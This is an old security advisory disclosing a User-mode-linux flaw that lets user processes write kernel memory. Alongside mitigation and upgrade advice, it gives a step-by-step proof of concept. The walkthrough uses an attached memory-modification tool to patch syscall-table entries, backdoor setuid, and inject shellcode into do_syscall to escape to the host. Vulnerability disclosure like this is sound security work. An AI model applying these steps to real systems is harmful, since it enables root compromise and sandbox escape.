Program: User-mode-linux Version tested: patch-2.4.17-8 [ I assume all previous versions would be ] Not vulnerable: patch-2.4.17-9 [ Haven't tested any different techniques.] Now for something completely different. Anything in []'s is my comments to my article... deal with it. Description: ------------ User-mode-linux is used to enchance kernel development by providing a debuggable kernel, and also as a safebox for some applications. [ Hereafter, uml refers to user-mode-linux. ] Problem: -------- A user proccess can write into kernel memory, which will allow a person to get root inside the uml "box", and the possibility to break out of the uml "box", into the real one. This can happen even if the jail and honeypot options are turned on. [ Though I suspect the version i was testing was half-way through implementing them ] Some effects can happen, such as causing the uml processes to die, and making a process chew up heaps of cpu time indefinately. Reproducing: ------------ I used the small debian 2.2 root fs to play around with, on a host kernel of 2.4.17ctx-5 (vserver context security patch). To start it up I used: [andrewg@blackhole linux]$ ./linux ubd0=debcow,root_fs_debian2.2_small jail=1 honeypot=1 jail honeypot [ I'm being doubly cautious, and looking at the jail setup code, I don't think it would have been bothered by my putting it in their twice. ] Mitigation: ----------- Well, to prevent some of the problems, I suggest running the uml in a chroot()ed enviroment, with memory and cpu restrictions turned on. Not allow people to run their own code. Well, thats rather tricky, since if they can overflow anything (just a normal program) and execute code of their own choosing, you have pretty much lost already... [ Free tip for those who use it for high security. Put all the binaries on a seperate ubd device, and leave make it non-writable by the uml process. That way you don't have the replaced-replaced-binary problem, however, /bin would be hard to do. ] Fix: ---- Upgrade. Exploit: -------- There is no exploit as such yet, just a tool to help you exploit it. Attached is a program for you to play around with. This program is somewhat simple, and definately not finished. However, it does everything I needed it do, plus a couple of other things. For the commands you don't specify the offset for sys_call_table, it uses the built in one at 0xa019f650. [ Which is nolonger valid for my ./linux, and most likely not for your system. ] [andrewg@blackhole mpmt]$ ./mpmt -h ./mpmt: invalid option -- h [ Hey, I said it wasn't finished. ] Multi-Purpose Modification Tool v0.6 by Andrew Griffiths ./mpmt -1 [ -2 ] [ -o ] [ -p | -f | -s ] [ -r ] ./mpmt -o 0xa020ee1f -p -1 61 Would print out the offset of chroot at the sys_call_table location of 0xa020ee1f ./mpmt -1 23 -2 36 Would replace setuid()'s location in sys_call_table with sync()s function. ./mpmt -1 23 -2 36 -r Would replace setuid()'s location in sys_call_table with sync()s function, and restore it back to it would in n seconds. (time default is 30 seconds) For values of these numbers, look in /usr/include/asm/unistd.h Also, you can do abiratory read and writes on kernel memory, with the -a for the address, -c for how much to copy, -R to read, and -W to write and -F to specify file. [andrewg@blackhole mpmt]$ To do things like play around with the sys_call_table, you'll need the address of it. To get it, just do: [andrewg@blackhole linux]$ nm -a linux | grep sys_call_table a01bb744 D sys_call_table 00000000 a sys_call_table.c [andrewg@blackhole linux]$ and the first address is the sys_call_table. I haven't looked into determining the sys_call_table address while you're in it. I suspect it could be done by looking at the kernel memory (which is an elf file), and finding the address via the global offset table, or something. If it isn't stripped, you should be laughing. Once you can work these out, you should be able to write a version independant exploit. Since you've already seen some of the things it does, I'll explain the bottom parts. To get a copy of the first 256 bytes of the sys_call_table struct, and to dump it into systable: andrewg@usermode:~$ ./mpmt -a 0xa01bb744 -c 256 -R -F systable To get the first 2048 bytes of setuid so you can backdoor it: andrewg@usermode:~$ ./mpmt -o 0xa01bb744 -p -1 23 Location in memory where function 23 is 0xa0018024 andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -R andrewg@usermode:~$ [ Now run ndisasm and patch and then run... ] andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -W The sharp reader will have already noticed that we could replace the getuid with a harmless syscall such as sync, and then call su || su -c "shell script" to do what we want. However, on my system, there's a couple of problems, like it starting of way too many su proccess's or them dying straight away. However the -c one seems to work... [ News just in... ] And now for the ultimate exploit against User-mode-linux: Breaking out of it. To break out of uml, you need to cause the tracer program to execute code of your choosing. [ No shit!?! Thats because the tracer pid isn't running being ptraced itself. Sidenote: If you could kill the tracer, you might be able to execute cide... ] We can accomplice this by writing into certain areas of memory... The function I have choose to target is do_syscall. Now, for the exploitation: [andrewg@blackhole andrewg]$ nm -a /usr/src/linux/linux | grep do_syscall a01000f0 T do_syscall [andrewg@blackhole andrewg]$ cat /tmp/sh <<_EOF_ #!/bin/sh echo OWNED > /tmp/umlisbroken _EOF_ [andrewg@blackhole andrewg]$ chmod +x /tmp/sh And now for the usermode linux part, where ex is just a program that spits out standard Aleph1 (Phrack 49) shellcode. andrewg@usermode:~$ ./ex | sed s/bin/tmp/ > exploit_code andrewg@usermode:~$ ./mpmt -a 0xa01000f0 -c 43 -W -F exploit_code At this point, the screen where you started UML, is probably a message like: Kernel panic: Error mapping a page - errno = 9 [ Bad File descriptor ] I suspect its trying to mmap() a page from somewhere with a fd that isn't valid for the real kernel. (Cause it's no longer being ptrace()d.) And now [Drum roll please] [andrewg@blackhole andrewg]$ cat /tmp/umlisbroken OWNED [andrewg@blackhole andrewg]$ You may be asking why the shellcode doesn't do anything more interesting than exec()ing /tmp/sh, well, you gotta remember this is for "proof of concept"... Don't forget to do a "killall -9 linux" and restart it, cause you've just killed it.... -- www.tasmail.com
Attachment:
mpmt.tgz
Description: Binary data